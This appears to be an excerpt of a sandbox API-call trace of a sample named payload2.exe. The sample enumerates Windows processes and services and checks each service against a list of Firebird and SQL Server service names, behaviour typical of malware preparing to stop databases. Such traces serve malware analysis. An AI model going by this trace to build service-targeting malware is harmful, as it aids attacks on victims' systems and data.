	[0178.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0178.483] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0178.483] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0178.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0178.483] lstrlenW (lpString="RpcSs") returned 5
	[0178.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0178.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0178.483] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0178.483] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0178.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0178.483] lstrlenW (lpString="SamSs") returned 5
	[0178.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0178.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0178.483] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0178.483] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0178.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0178.484] lstrlenW (lpString="Schedule") returned 8
	[0178.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0178.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0178.484] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0178.484] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0178.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0178.484] lstrlenW (lpString="SecurityHealthService") returned 21
	[0178.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0178.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0178.484] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0178.484] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0178.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0178.484] lstrlenW (lpString="SENS") returned 4
	[0178.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0178.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0178.484] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0178.484] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0178.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0178.484] lstrlenW (lpString="ShellHWDetection") returned 16
	[0178.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0178.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0178.484] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0178.484] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0178.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0178.484] lstrlenW (lpString="Spooler") returned 7
	[0178.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0178.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0178.484] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0178.484] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0178.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0178.484] lstrlenW (lpString="StateRepository") returned 15
	[0178.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0178.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0178.485] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0178.485] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0178.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0178.485] lstrlenW (lpString="SysMain") returned 7
	[0178.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0178.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0178.485] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0178.485] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0178.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0178.485] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0178.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0178.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0178.485] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0178.485] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0178.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0178.485] lstrlenW (lpString="Themes") returned 6
	[0178.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0178.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0178.485] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0178.485] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0178.485] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45c6cc8 | out: hHeap=0x610000) returned 1
	[0178.485] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x5c4
	[0178.491] Process32FirstW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0178.492] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0178.492] lstrlenW (lpString="System") returned 6
	[0178.492] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0178.493] lstrlenW (lpString="smss.exe") returned 8
	[0178.493] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0178.493] lstrlenW (lpString="csrss.exe") returned 9
	[0178.493] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0178.858] lstrlenW (lpString="wininit.exe") returned 11
	[0178.861] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0178.862] lstrlenW (lpString="csrss.exe") returned 9
	[0178.862] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0178.862] lstrlenW (lpString="winlogon.exe") returned 12
	[0178.862] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0178.863] lstrlenW (lpString="services.exe") returned 12
	[0178.863] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0178.863] lstrlenW (lpString="lsass.exe") returned 9
	[0178.863] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0178.863] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0178.863] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0178.864] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0178.864] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0178.864] lstrlenW (lpString="svchost.exe") returned 11
	[0178.865] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0178.865] lstrlenW (lpString="svchost.exe") returned 11
	[0178.865] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0178.865] lstrlenW (lpString="dwm.exe") returned 7
	[0178.865] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0178.866] lstrlenW (lpString="svchost.exe") returned 11
	[0178.866] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0178.866] lstrlenW (lpString="svchost.exe") returned 11
	[0178.866] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0178.867] lstrlenW (lpString="svchost.exe") returned 11
	[0178.867] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0178.867] lstrlenW (lpString="svchost.exe") returned 11
	[0178.867] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0178.868] lstrlenW (lpString="svchost.exe") returned 11
	[0178.868] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x430, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0178.868] lstrlenW (lpString="svchost.exe") returned 11
	[0178.868] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0178.869] lstrlenW (lpString="svchost.exe") returned 11
	[0178.869] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0178.869] lstrlenW (lpString="svchost.exe") returned 11
	[0178.869] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0178.870] lstrlenW (lpString="svchost.exe") returned 11
	[0178.870] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0178.870] lstrlenW (lpString="svchost.exe") returned 11
	[0178.870] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0178.871] lstrlenW (lpString="spoolsv.exe") returned 11
	[0178.871] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0178.871] lstrlenW (lpString="svchost.exe") returned 11
	[0178.871] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x56c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0178.871] lstrlenW (lpString="audiodg.exe") returned 11
	[0178.872] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0178.872] lstrlenW (lpString="sihost.exe") returned 10
	[0178.872] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0178.872] lstrlenW (lpString="svchost.exe") returned 11
	[0178.872] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0178.873] lstrlenW (lpString="taskhostw.exe") returned 13
	[0178.873] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0178.873] lstrlenW (lpString="msoia.exe") returned 9
	[0178.873] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0178.874] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0178.874] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0178.874] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0178.874] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0178.875] lstrlenW (lpString="Memory Compression") returned 18
	[0178.875] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x45, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0178.875] lstrlenW (lpString="explorer.exe") returned 12
	[0178.875] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0178.876] lstrlenW (lpString="SearchUI.exe") returned 12
	[0178.876] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0178.876] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0178.876] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0178.876] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0178.876] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xccc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0178.877] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0178.877] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x998, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0178.877] lstrlenW (lpString="payload2.exe") returned 12
	[0178.877] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0178.878] lstrlenW (lpString="cmd.exe") returned 7
	[0178.878] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0178.878] lstrlenW (lpString="conhost.exe") returned 11
	[0178.878] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1
	[0178.879] lstrlenW (lpString="mode.com") returned 8
	[0178.879] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0178.879] lstrlenW (lpString="consent.exe") returned 11
	[0178.879] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0
	[0178.880] CloseHandle (hObject=0x5c4) returned 1
	[0178.880] Sleep (dwMilliseconds=0x1f4) 
	[0179.451] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6681a0
	[0179.451] EnumServicesStatusExW (in: hSCManager=0x6681a0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 0
	[0179.452] GetLastError () returned 0xea
	[0179.452] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x1c28) returned 0x45c6cc8
	[0179.452] EnumServicesStatusExW (in: hSCManager=0x6681a0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45c6cc8, cbBufSize=0x1c28, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45c6cc8, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 1
	[0179.453] CloseServiceHandle (hSCObject=0x6681a0) returned 1
	[0179.454] lstrlenW (lpString="Appinfo") returned 7
	[0179.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0179.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0179.454] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0179.454] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0179.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0179.454] lstrlenW (lpString="AppXSvc") returned 7
	[0179.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0179.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0179.454] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0179.454] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0179.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0179.454] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0179.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0179.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0179.454] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0179.454] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0179.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0179.454] lstrlenW (lpString="Audiosrv") returned 8
	[0179.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0179.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0179.454] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0179.454] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0179.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0179.454] lstrlenW (lpString="BFE") returned 3
	[0179.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0179.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0179.454] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0179.454] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0179.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0179.454] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0179.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0179.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
